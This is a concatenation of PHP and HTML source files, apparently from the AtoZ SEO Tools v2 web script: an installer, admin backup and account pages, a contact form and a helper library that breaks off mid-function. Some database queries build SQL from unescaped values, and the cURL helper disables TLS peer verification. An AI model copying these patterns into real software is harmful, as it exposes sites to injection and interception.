</div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /> <script> function saveAsFile() { var today = new Date(); var dd = today.getDate(); var mm = today.getMonth()+1; var yyyy = today.getFullYear(); if(dd<10){ dd='0'+dd; } if(mm<10){ mm='0'+mm; } var today = dd+'-'+mm+'-'+yyyy; var textToWrite = document.getElementById("rawData").value; textToWrite = textToWrite.replace(/\n/g, '\r\n'); var textFileAsBlob = new Blob([textToWrite], {type:'text/csv'}); var downloadLink = document.createElement("a"); downloadLink.download = 'links.csv'; downloadLink.innerHTML = "My Link"; window.URL = window.URL || window.webkitURL; downloadLink.href = window.URL.createObjectURL(textFileAsBlob); downloadLink.onclick = destroyClickedElement; downloadLink.style.display = "none"; document.body.appendChild(downloadLink); downloadLink.click(); } function destroyClickedElement(event){ document.body.removeChild(event.target); } </script><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg.'<br />'; ?> <div class="row"> <div class="col-md-6"> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($other['other']['dbbackup']['gzip'],true,'2') ?> type="checkbox" name="other[other][dbbackup][gzip]" /> Compress database backup file using Gzip </label> </div> </div> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($other['other']['dbbackup']['cron'],true,'2') ?> type="checkbox" name="other[other][dbbackup][cron]" id="cron" /> Automatically backup database using Cron Job </label> </div> </div> <div class="form-group"> <select id="cronopt" class="form-control" name="other[other][dbbackup][cronopt]"> <option <?php echo isSelected($other['other']['dbbackup']['cronopt'], true, 1, 'daily'); ?> value="daily">Backup Daily</option> <option <?php echo isSelected($other['other']['dbbackup']['cronopt'], true, 1, 'weekly'); ?> value="weekly">Backup Weekly</option> <option <?php echo isSelected($other['other']['dbbackup']['cronopt'], true, 1, 'monthly'); ?> value="monthly">Backup Monthly</option> </select> </div> <div> <button class="btn btn-primary" type="submit"><i class="fa fa-floppy-o" aria-hidden="true"></i> Save Settings</button> <a class="btn btn-danger" href="<?php adminLink($controller.'/backup-now'); ?>"><i class="fa fa-file-archive-o" aria-hidden="true"></i> Backup Now</a> <a class="btn btn-warning" href="<?php adminLink($controller.'/backup-download'); ?>"><i class="fa fa-download" aria-hidden="true"></i> Backup & Download</a> </div> </div> </div> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> <div class="box box-danger"> <div class="box-header with-border"> <!-- tools box --> <h3 class="box-title"> DB Backup List </h3> </div> <div class="box-body"> <table id="seoToolTable" class="table table-bordered table-striped"> <thead> <tr> <th>Filename</th> <th>Backup Date</th> <th>Download</th> <th>Delete</th> </tr> </thead> <tbody> <?php echo $tableData; ?> </tbody> </table> </div><!-- /.box-body --> </div> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script> var oldSel; $(function () { $('input').iCheck({ checkboxClass: 'icheckbox_square-blue', radioClass: 'iradio_square-blue', increaseArea: '100%' }); if($('#cron').prop('checked') == true) { $('#cronopt').removeAttr('disabled'); } else { $('#cronopt').attr('disabled', 'disabled'); } $('#cron').on('ifChecked', function(){ $('#cronopt').removeAttr('disabled'); }); $('#cron').on('ifUnchecked', function(){ $('#cronopt').attr('disabled', 'disabled'); }); }); </script> EOD; ?> <file_sep><?php defined('ROOT_DIR') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2020 ProThemes.Biz * */ // --- Database Settings --- // Database Hostname $dbHost = 'localhost'; // Database Username $dbUser = ''; // Database Password $dbPass = ''; // Database Name $dbName = ''; //Base URL (Without http:// & https://) $baseURL = ''; //Item Purchase Code $item_purchase_code = 'Item-Purchase-Code'; //Domain Security Code $authCode = '1';<file_sep><?php /* * @author Balaji */ error_reporting(1); $upgrade = false; $dbHost = $dbUser = $dbPass = $dbName = $item_purchase_code = $readOnly = ''; //ROOT Path define('ROOT_DIR', realpath(dirname(dirname(dirname(__FILE__)))) .DIRECTORY_SEPARATOR); if(file_exists(ROOT_DIR.'config.php')){ $upgrade = true; $readOnly = 'readonly="" '; require ROOT_DIR.'config.php'; } //Application Path define('APP_DIR', ROOT_DIR .'core'.DIRECTORY_SEPARATOR); //Configuration Path define('CONFIG_DIR', APP_DIR .'config'.DIRECTORY_SEPARATOR); //Installer Path define('INSTALL_DIR', ROOT_DIR .'admin'.DIRECTORY_SEPARATOR.'install'.DIRECTORY_SEPARATOR); //Date and Link $date = date('jS F Y'); $ip = $_SERVER['REMOTE_ADDR']; //Installer Links if($_SERVER['PHP_SELF'] == '') $_SERVER['PHP_SELF'] = $_SERVER['REQUEST_URI']; $mainLink = $adminLink = $themeLink = $installerLink = $processLink = $finishLink = ''; $adminLink = str_replace('install/install.php','',$_SERVER['PHP_SELF']); $mainLink = str_replace('admin/install/install.php','',$_SERVER['PHP_SELF']); $themeLink = $adminLink.'theme/default/'; $installerLink = str_replace('install.php','',$_SERVER['PHP_SELF']); $processLink = $installerLink.'process.php'; if($upgrade) $finishLink = $installerLink.'upgrade.php'; else $finishLink = $installerLink.'finish.php'; $baseLink = urlencode($_SERVER["HTTP_HOST"]).$mainLink; ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>AtoZ SEO Tools v2 | Installer panel</title> <!-- Tell the browser to be responsive to screen width --> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'> <!-- Bootstrap 3.3.4 --> <link href="<?php echo $themeLink; ?>bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <!-- Font Awesome Icons --> <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" /> <!-- Ionicons --> <link href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css" rel="stylesheet" type="text/css" /> <link href="https://prothemes.biz/lic/api/tools/css.php?site=<?php echo $baseLink; ?>" rel="stylesheet" type="text/css" /> <!-- Theme style --> <link href="<?php echo $themeLink; ?>dist/css/AdminLTE.min.css" rel="stylesheet" type="text/css" /> <link href="<?php echo $themeLink; ?>dist/css/skins/skin-blue.min.css" rel="stylesheet" type="text/css" /> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> <style> #alert1{ display:none; } #alert2{ display:none; } #index_1{ display:none; } #index_2{ display:none; } #index_3{ display:none; } #pre_load{ display:none; } </style> </head> <body class="skin-blue sidebar-mini"> <div class="wrapper"> <!-- Main Header --> <header class="main-header"> <!-- Logo --> <a href="<?php echo $_SERVER['PHP_SELF']; ?>" class="logo"> <!-- mini logo for sidebar mini 50x50 pixels --> <span class="logo-mini"><b>S</b>EO</span> <!-- logo for regular state and mobile devices --> <span class="logo-lg">AtoZ <b>SEO</b> Tools<sup>v2</sup></span> </a> <!-- Header Navbar --> <nav class="navbar navbar-static-top" role="navigation"> <!-- Sidebar toggle button--> <a href="#" class="sidebar-toggle" data-toggle="offcanvas" role="button"> <span class="sr-only">Toggle navigation</span> </a> <!-- Navbar Right Menu --> <div class="navbar-custom-menu"> <ul class="nav navbar-nav"> <li> <a target="_blank" href="http://prothemes.biz/index.php?route=product/category&path=65" title="PHP Scripts">Get more PHP script's</a> </li> </ul> </div> </nav> </header> <!-- Left side column. contains the logo and sidebar --> <aside class="main-sidebar"> <!-- sidebar: style can be found in sidebar.less --> <section class="sidebar"> <br /> <!-- Sidebar user panel (optional) --> <div class="user-panel"> <div class="pull-left image"> <img src="<?php echo $themeLink; ?>dist/img/admin.jpg" class="img-circle" alt="User Image" /> </div> <div class="pull-left info"> <p>Welcome </p> <!-- Status --> <p style="font-size:15px;"><a href="#">Admin!</a> </p> </div> </div> <!-- Sidebar Menu --> <ul class="sidebar-menu"> <li class="header">MAIN NAVIGATION</li> <!-- Optionally, you can add icons to the links --> <li class="active"><a href="<?php echo $_SERVER['PHP_SELF']; ?>"><i class='fa fa-gears'></i> <span> Installer</span></a></li> </ul><!-- /.sidebar-menu --> </section> <!-- /.sidebar --> </aside> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper" id="index"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <small>Installer panel</small> </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-gears"></i> Admin</a></li> <li class="active">Installer </li> </ol> </section> <!-- Main content --> <section class="content"> <div id="index_0"> <div id="alert1"> <div class="alert alert-danger alert-dismissable"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> <span id="failMsg"></span> </div> </div> <div id="alert2"> <div class="alert alert-success alert-dismissable"> <i class="fa fa-check"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> Database connection success. </div> </div> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Setup Requirements</h3> </div><!-- /.box-header --> <div class="box-body"> <br /> <?php if($upgrade) { ?> <div class="alert alert-warning"> <b>Note: </b> Old v1 addons can't work on <b>AtoZ SEO Tools v2</b>. Need to re-download latest addon patches and install the addons again. </div> <?php } ?> <table class="table table-hover"> <tbody><tr> <th>#</th> <th>Extension / Application</th> <th>Status</th> </tr> <tr> <td>1</td> <td>PHP Version (Yours version <?php echo phpversion(); ?>) </td> <?php if (strnatcmp(phpversion(),'5.4.0') >= 0){ echo '<td style="width: 200px;"><span class="label label-success">Available</span></td>'; }else { echo '<td style="width: 200px;"><span class="label label-danger">Unavailable</span></td>'; $fa = '1'; } ?> </tr> <tr> <td>2</td> <td>Mysqli Extension</td> <?php if(function_exists('mysqli_connect')){ echo '<td><span class="label label-success">Available</span></td>'; } else { echo '<td><span class="label label-danger">Unavailable</span></td>'; $fa = '1'; } ?> </tr> <tr> <td>3</td> <td>Multibyte String (Mbstring)</td> <?php if(extension_loaded('mbstring')){ echo '<td><span class="label label-success">Available</span></td>'; }else{ echo '<td><span class="label label-danger">Unavailable</span></td>'; $fa = '1'; } ?> </tr> <tr> <td>4</td> <td>file_get_contents()</td> <?php if(ini_get('allow_url_fopen')){ echo '<td><span class="label label-success">Available</span></td>'; }else{ echo '<td><span class="label label-danger">Unavailable</span></td>'; $fa = '1'; } ?> </tr> <tr> <td>5</td> <td>PDO Extension</td> <?php if(extension_loaded('pdo')){ echo '<td><span class="label label-success">Available</span></td>'; }else{ echo '<td><span class="label label-danger">Unavailable</span></td>'; $fa = '1'; } ?> </tr> <tr> <td>6</td> <td>WHOIS PORT - 43</td> <?php if($pf = @fsockopen('whois.verisign-grs.com', 43 , $err, $err_string, 1)) { echo '<td><span class="label label-success">Available</span></td>'; fclose($pf); }else{ echo '<td><span class="label label-danger">Unavailable</span></td>'; $fa = '1'; } ?> </tr> <tr> <td>7</td> <td>GD Extension</td> <?php if(extension_loaded('gd')){ echo '<td><span class="label label-success">Available</span></td>'; }else{ echo '<td><span class="label label-danger">Unavailable</span></td>'; $fa = '1'; } ?> </tr> <tr> <td>8</td> <td>CURL Extension</td> <?php if(extension_loaded('curl')){ echo '<td><span class="label label-success">Available</span></td>'; }else{ echo '<td><span class="label label-danger">Unavailable</span></td>'; $fa = '1'; } ?> </tr> </tbody></table> </div><!-- /.box-body --> </div><!-- /.box --> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Directory & Permissions</h3> </div><!-- /.box-header --> <div class="box-body"> <table class="table table-hover"> <tbody> <tr> <th>#</th> <th>File / Folder Name</th> <th>Status</th> </tr> <tr> <td>1</td> <td>DB Configuration File <small>("/core/config/db.config.php")</small></td> <?php if (is_writable(CONFIG_DIR.'db.config.php')) { echo '<td style="width: 200px;"><span class="label label-success">Writable</span></td>'; } else{ echo '<td style="width: 200px;"><span class="label label-danger">Not Writable</span></td>'; $fa = '1'; } ?> </tr> <tr> <td>2</td> <td>Uploads Directory <small>("/uploads/")</small></td> <?php if (is_writable(ROOT_DIR.'uploads')) { echo '<td><span class="label label-success">Writable</span></td>'; } else { echo '<td><span class="label label-danger">Not Writable</span></td>'; $fa = '1'; } ?> </tr> <tr> <td>3</td> <td>Temporary Directory <small>("/core/temp/")</small></td> <?php if (is_writable(APP_DIR.'temp')) { echo '<td><span class="label label-success">Writable</span></td>'; } else { echo '<td><span class="label label-danger">Not Writable</span></td>'; $fa = '1'; } ?> </tr> <tr> <td>4</td> <td>Snapshot Cache Directory <small>("/core/helpers/site_snapshot/")</small></td> <?php if (is_writable(APP_DIR.'helpers'.DIRECTORY_SEPARATOR.'site_snapshot')) { echo '<td><span class="label label-success">Writable</span></td>'; } else { echo '<td><span class="label label-danger">Not Writable</span></td>'; $fa = '1'; } ?> </tr> </tbody></table> </div><!-- /.box-body --> <div class="text-center box-footer"> <br /><br /> <?php if(isset($fa)) { ?> <button class="btn btn btn-success" disabled=""><i class="fa fa-paper-plane" aria-hidden="true"></i> &nbsp; Continue</button> <?php } else { ?> <button class="btn btn btn-success" onclick="continueNextStage()"><i class="fa fa-paper-plane" aria-hidden="true"></i> &nbsp; Continue</button> <?php } ?> <br /><br /> </div> </div><!-- /.box --> </div> <div id="index_1"> <div class="box box-primary"> <div class="box-header"> <h3 class="box-title">Database Connection</h3> </div><!-- /.box-header --> <!-- form start --> <div class="box-body"> <div class="form-group"> <label for="data_host">Database Host</label> &nbsp; <small>(Mostly "localhost")</small> <input <?php echo $readOnly; ?> value="<?php echo $dbHost; ?>" type="text" placeholder="Enter your database hostname" name="data_host" id="data_host" class="form-control"> </div> <div class="form-group"> <label for="data_name">Database Name</label> <input <?php echo $readOnly; ?> value="<?php echo $dbName; ?>" type="text" placeholder="Enter your database name" name="data_name" id="data_name" class="form-control"> </div> <div class="form-group"> <label for="data_user">Database Username</label> <input <?php echo $readOnly; ?> value="<?php echo $dbUser; ?>" type="text" placeholder="Enter your database username" name="data_user" id="data_user" class="form-control"> </div> <div class="form-group"> <label for="data_pass">Database Password</label> <input <?php echo $readOnly; ?> value="<?php echo $dbPass; ?>" type="password" placeholder="Enter your database password" name="data_pass" id="data_pass" class="form-control"> </div> <div class="form-group"> <label for="data_pass">Website Path</label> <input value="<?php echo urldecode($baseLink); ?>" type="text" placeholder="Enter your base path" name="data_domain" id="data_domain" class="form-control"> </div> <div class="box-header"> <br /> <h3 class="box-title">License Verification</h3> </div><!-- /.box-header --> <br /> <div class="form-group"> <label for="data_sec">Item Purchase Code &nbsp; <small><a target="_blank" href="https://help.market.envato.com/hc/en-us/articles/202822600-Where-can-I-find-my-Purchase-Code-">(Where can I find my Purchase Code?)</a> &nbsp; | &nbsp; <a target="_blank" href="http://api.prothemes.biz/tools/reset.php">(Reset Domain Name)</a></small></label> <input value="<?php echo $item_purchase_code; ?>" style="border-color: #DDDDDD;" type="text" placeholder="Enter your item purchase code" name="data_sec" id="data_sec" class="form-control"> </div> </div><!-- /.box-body --> <div class="box-footer"> <?php if(!$upgrade){ if(isset($fa)) { ?> <button class="btn btn btn-primary" disabled >Submit</button> <?php } else { ?> <button class="btn btn btn-primary" onclick="loadXMLDoc()" >Submit</button> <?php } } else { ?> <button class="btn btn btn-primary" onclick="upgradeTov2()" >Upgrade</button> <?php } ?> </div> </div> </div> <div id="index_2"> <div class="box box-primary"><br /> <div class="box-header"> <h3 class="box-title">Admin Details</h3> </div><!-- /.box-header --><br /> <!-- form start --> <div class="box-body"> <div class="form-group"> <label for="admin_user">Admin Name</label> <input type="text" placeholder="Enter admin name" name="admin_name" id="admin_name" class="form-control" /> </div> <div class="form-group"> <label for="email">Admin User ID</label> <small>(Must be Email ID!)</small> <input type="email" placeholder="Enter admin username" name="email" id="email" class="form-control" /> </div> <div class="form-group"> <label for="admin_pass">Admin Password</label> <input type="password" placeholder="Enter admin password" name="admin_pass" id="admin_pass" class="form-control" /> </div> </div><!-- /.box-body --> <div class="box-footer"> <button class="btn btn btn-primary" onclick="findoc()" >Submit</button> </div> </div> </div> <div id="pre_load"> <div class="box box-primary"> <div class="box-body"> <br /> <br /> <div class="text-center"> <img title="Loading" alt="Loading" src="<?php echo $themeLink; ?>dist/img/load.gif"/> <br /> <br /> Installing..... <br /> <small>(Mostly takes few seconds)</small> </div> <br /> <br /> </div> </div> </div> <div id="index_3"> <div class="box box-primary"> <div class="box-body"> <br /> <p>Database Table Creation Log</p> <textarea readonly="" id="tableRes" rows="12" class="form-control"></textarea> <br /> <p>Installation Complete! </p> <br /> <p>Goto:</p> <a href="<?php echo $mainLink; ?>" class="btn btn-primary" >Index Page</a> <a href="<?php echo $adminLink; ?>" class="btn btn-danger">Admin Panel</a> <br /> </div> </section><!-- /.content --> </div><!-- /.content-wrapper --> <!-- Main Footer --> <footer class="main-footer"> <!-- To the right --> <div class="pull-right hidden-xs"> Your Version v2.9 </div> <!-- Default to the left --> <strong>Copyright &copy; 2020 <a href="https://prothemes.biz/">ProThemes.Biz</a></strong> All rights reserved. </footer> <!-- Add the sidebar's background. This div must be placed immediately after the control sidebar --> <div class='control-sidebar-bg'></div> </div><!-- ./wrapper --> <!-- REQUIRED JS SCRIPTS --> <!-- jQuery 2.1.4 --> <script src="<?php echo $themeLink; ?>plugins/jQuery/jQuery-2.1.4.min.js"></script> <!-- Bootstrap 3.3.2 JS --> <script src="<?php echo $themeLink; ?>bootstrap/js/bootstrap.min.js" type="text/javascript"></script> <!-- AdminLTE App --> <script src="<?php echo $themeLink; ?>dist/js/app.min.js" type="text/javascript"></script> <script> function continueNextStage(){ $("#index_0").hide(); $("#index_1").show(); setTimeout(function(){ var pos = $('#index').offset(); $('body,html').animate({ scrollTop: pos.top }); }, 100); } function loadXMLDoc() { var xmlhttp; var sql_host = $('input[name=data_host]').val(); var sql_name = $('input[name=data_name]').val(); var sql_user = $('input[name=data_user]').val(); var sql_pass = $('input[name=data_pass]').val(); var sql_sec = $('input[name=data_sec]').val(); var data_domain = $('input[name=data_domain]').val(); if(sql_host == ""){ alert("Enter your database hostname!"); return false; } if(sql_name == ''){ alert("Enter your database name!"); return false; } if(sql_user == ''){ alert("Enter your database username!"); return false; } if(sql_pass == ''){ alert("Enter your database password!"); return false; } if(sql_sec == ''){ alert("Enter your item purchase code!"); return false; } if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { } } $.post("<?php echo $processLink; ?>", {data_host:sql_host,data_name:sql_name,data_user:sql_user,data_pass:<PASSWORD>,data_sec:sql_sec,data_domain:data_domain}, function(results){ if (results == 1) { $("#alert1").hide(); $("#alert2").show(); $("#index_1").hide(); $("#index_2").show(); }else{ $("#failMsg").html(results) $("#alert1").show(); $("#index_1").show(); $("#index_2").hide(); alert(results); } }); } </script> <script> function isValidEmailAddress(emailAddress) { var pattern = new RegExp(/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i); return pattern.test(emailAddress); } function upgradeTov2(){ $("#alert1").hide(); $("#alert2").hide(); $("#index_1").hide(); $("#index_2").hide(); $("#pre_load").show(); var sql_host = $('input[name=data_host]').val(); var sql_name = $('input[name=data_name]').val(); var sql_user = $('input[name=data_user]').val(); var sql_pass = $('input[name=data_pass]').val(); var sql_sec = $('input[name=data_sec]').val(); var data_domain = $('input[name=data_domain]').val(); $.post("<?php echo $finishLink; ?>", {upgrade:1,data_host:sql_host,data_name:sql_name,data_user:sql_user,data_pass:<PASSWORD>,data_sec:sql_sec,data_domain:data_domain}, function(results){ $("#index_3").show(); results = results.replace(/<br *\/?>/gi, '\n'); $("#tableRes").append(results); $("#pre_load").hide(); }); } function findoc() { var xmlhttp; var adminName = $('input[name=admin_name]').val(); var user = $('input[name=email]').val(); var pass = $('input[name=admin_pass]').val(); if(adminName == ''){ alert("Enter admin name!"); return false; } if(user == ''){ alert("Enter admin username!"); return false; } if(pass == ''){ alert("Enter admin password!"); return false; } if( !isValidEmailAddress( user ) ) { alert("Your admin email id is not valid!"); return false; } if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { } } $("#alert1").hide(); $("#alert2").hide(); $("#index_1").hide(); $("#index_2").hide(); $("#pre_load").show(); $.post("<?php echo $finishLink; ?>", {admin_name:adminName,admin_user:user,admin_pass:<PASSWORD>}, function(results){ $("#index_3").show(); results = results.replace(/<br *\/?>/gi, '\n'); $("#tableRes").append(results); $("#pre_load").hide(); }); } </script> </body> </html><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Administrators Accounts'; $subTitle = 'Admin Details'; $fullLayout = 1; $footerAdd = $avatarPage = $passPage = false; $footerAddArr = array(); require_once (LIB_DIR . 'geoip.inc'); $gi = geoip_open(LIB_DIR.'GeoIP.dat', GEOIP_MEMORY_CACHE); $giv6 = geoip_open(LIB_DIR.'GeoIPv6.dat', GEOIP_MEMORY_CACHE); if ($_SERVER['REQUEST_METHOD'] == 'POST'){ if(isset($_FILES['logoUpload']) && $_FILES['logoUpload']['name'] != ''){ $isUploaded = secureImageUpload($_FILES['logoUpload']); if($isUploaded[0]){ $query = "UPDATE admin SET admin_logo='".$isUploaded[1]."' WHERE id='1'"; mysqli_query($con,$query); }else $msg = errorMsgAdmin($isUploaded[1]); } if(isset($_POST['passChange'])){ $passPage = true; $query = mysqli_query($con, "SELECT * FROM admin WHERE id='1'"); $infoRow = mysqli_fetch_array($query); $admin_oldPass = Trim($infoRow['pass']); $admin_user = escapeTrim($con, $_POST['admin_user']); $admin_name = escapeTrim($con, $_POST['admin_name']); $new_pass = passwordHash(escapeTrim($con, $_POST['new_pass'])); $retype_pass = passwordHash(escapeTrim($con, $_POST['retype_pass'])); $old_pass = passwordHash(escapeTrim($con, $_POST['old_pass'])); if($new_pass == $retype_pass){ if($old_pass == $admin_oldPass){ $query = "UPDATE admin SET user='$admin_user', pass='$<PASSWORD>', admin_name='$admin_name' WHERE id='1'"; mysqli_query($con, $query); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('New Passwors saved successfully!'); }else{ $msg = errorMsgAdmin('Old admin panel password is wrong!'); } }else{ $msg = errorMsgAdmin('New Password field / Retype password field can\'t matched!'); } } } $query = mysqli_query($con, "SELECT * FROM admin WHERE id='1'"); $infoRow = mysqli_fetch_array($query); $admin_user = Trim($infoRow['user']); $admin_pass = Trim($infoRow['pass']); $admin_name = Trim($infoRow['admin_name']); $admin_logo = Trim($infoRow['admin_logo']); $admin_reg_date = Trim($infoRow['admin_reg_date']); $admin_reg_ip = Trim($infoRow['admin_reg_ip']); $query = "SELECT count(id) FROM admin_history"; $retval = mysqli_query($con,$query); $row = mysqli_fetch_array($retval); $rec_count = Trim($row[0]); $lastID_Admin = getLastID($con,"admin_history"); $result = mysqli_query($con, "SELECT * FROM admin_history WHERE id='$lastID_Admin'"); $row = mysqli_fetch_array($result); $admin_last_login_date = Trim($row['last_date']); $admin_last_login_ip = Trim($row['ip']); if ($passPage){ $page1 = $page3 = ''; $page2 = "active"; }elseif($avatarPage){ $page1 = $page2 = ''; $page3 = "active"; }else{ $page1 = "active"; $page2 = $page3 = ''; } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ //Page Title $pageTitle = trans('Contact Us',$lang['RF2'],true); $des = $keyword = $name = $from = $to = $replyTo = $sub = $message = ''; //Load Image Verifcation extract(loadCapthca($con)); $cap_contact = filter_var($contact_page, FILTER_VALIDATE_BOOLEAN); if($cap_contact){ $cap_type = strtolower($cap_type); $customCapPath = PLG_DIR.'captcha'.DIRECTORY_SEPARATOR.$cap_type.'_cap.php'; define('CAP_VERIFY',1); define('CAP_GEN',1); } if ($_SERVER['REQUEST_METHOD'] == 'POST'){ $name = raino_trim($_POST['name']); $from = $replyTo = raino_trim($_POST['email']); $sub = raino_trim($_POST['sub']); $message = raino_trim($_POST['message']); $nowDate = date('m/d/Y h:i:sA'); if(isset($_SESSION[N_APP.'Username'])) $username = $_SESSION[N_APP.'Username']; else $username = $lang['RF26']; //Verify image verification. if ($cap_contact) require LIB_DIR.'verify-verification.php'; if(!isset($error)){ //No Error - Continue if ($name != null && $replyTo != null && $sub != null && $message != null && $adminEmail != null){ $htmlMessage = '<html><body><p><b>'.$lang['RF30'].':</b> <br> '.nl2br($message).'</p><p><b>'.$lang['RF31'].':</b> <br>'.$lang['RF32'].': '.$username.' <br>'.$lang['RF33'].':'.$ip.' <br>'.$lang['RF34'].': '.$nowDate.'</p></body></html>'; //Load Mail Settings extract(loadMailSettings($con)); if($protocol == '1'){ //PHP Mail if(default_mail($adminEmail, $name, $replyTo, $name, $adminEmail, $sub, $htmlMessage)){ //Your message has been sent successfully $success = $lang['RF27']; $message = $body = $from = $name = $sub = ''; }else{ //Failed to send your message $error = $lang['RF28']; } }else{ //SMTP Mail if(smtp_mail($smtp_host, $smtp_port, isSelected($smtp_auth), $smtp_username, $smtp_password, $smtp_socket, $adminEmail, $name, $replyTo, $name, $adminEmail, $sub, $htmlMessage)){ //Your message has been sent successfully $success = $lang['RF27']; $message = $body = $from = $name = $sub = ''; }else{ //Failed to send your message $error = $lang['RF28']; } } }else{ $error = $lang['RF25']; } } } //Generate Image Verification if ($cap_contact) require LIB_DIR.'generate-verification.php'; ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2019 ProThemes.Biz * */ function regRecentHistory($con,$ip,$toolname,$user,$date,$intDate){ mysqli_query($con,"INSERT INTO recent_history (visitor_ip,tool_name,user,date,intDate) VALUES ('$ip','$toolname','$user','$date','$intDate')"); return true; } function regUserInputHistory($con,$ip,$toolname,$user,$date,$regUserInput){ $regUserInput = escapeTrim($con,$regUserInput); mysqli_query($con,"INSERT INTO user_input_history (visitor_ip,tool_name,user,date,user_input) VALUES ('$ip','$toolname','$user','$date','$regUserInput')"); return true; } function getGuestUserCount($con,$ip){ $result = mysqli_query($con,"SELECT visitor_ip,intDate FROM recent_history WHERE visitor_ip='$ip' AND intDate='".date('m/d/Y')."' AND user='Guest'"); return $result->num_rows; } function cleanWWW($string) { return str_replace('www.','',strtolower($string)); } function curlGET_Text($url){ $cookie = TMP_DIR.unqFile(TMP_DIR, randomPassword().'_curl.tdata'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt($ch, CURLOPT_HEADER,0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_AUTOREFERER,1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, 